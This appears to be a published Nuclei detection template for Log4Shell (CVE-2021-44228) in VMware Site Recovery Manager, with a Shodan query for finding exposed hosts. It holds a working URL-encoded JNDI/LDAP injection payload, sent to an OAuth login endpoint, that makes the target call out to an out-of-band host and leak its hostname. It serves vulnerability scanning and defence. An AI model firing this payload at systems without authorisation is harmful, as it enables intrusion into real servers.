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VMware Site Recovery Manager - Remote Code Execution (Apache Log4j)

ID: vmware-siterecovery-log4j-rce

Severity: critical

Author: akincibor

Tags: cve,cve2021,jndi,log4j,rce,oast,vmware,siterecovery,kev

VMware Site Recovery Manager is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

id: vmware-siterecovery-log4j-rce
info:
name: VMware Site Recovery Manager - Remote Code Execution (Apache Log4j)
author: akincibor
severity: critical
description: |
VMware Site Recovery Manager is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
reference:
- https://www.horizon3.ai/the-long-tail-of-log4shell-exploitation/
- https://logging.apache.org/log4j/2.x/security.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2021-44228
cwe-id: CWE-77
metadata:
verified: true
max-request: 1
shodan-query: title:"VMware Site Recovery Manager"
tags: cve,cve2021,jndi,log4j,rce,oast,vmware,siterecovery,kev
variables:
rand1: '{{rand_int(111, 999)}}'
rand2: '{{rand_int(111, 999)}}'
http:
- method: GET
path:
- '{{BaseURL}}/dr/authentication/oauth2/oauth2login?error=$%7Bjndi%3Aldap%3A%2F%2F$%7B%3A-{{rand1}}%7D$%7B%3A-{{rand2}}%7D.$%7BhostName%7D.uri.{{interactsh-url}}%7D'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<title>Error - Site Recovery</title>'
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: regex
part: interactsh_request
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
extractors:
- type: kval
kval:
- interactsh_ip
- type: regex
part: interactsh_request
group: 2
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
- type: regex
part: interactsh_request
group: 1
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 4a0a004730450220068ae0aada7f71b9ac4bb6cb6abc843e7bf9eb3e33e0dbea8bcaa6ee27ce2ac102210094a1c4db5a0ab63751f5a08bf5cdda2b06f3938552570304baff781b3b1373cc:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/vmware-siterecovery-log4j-rce.yaml"

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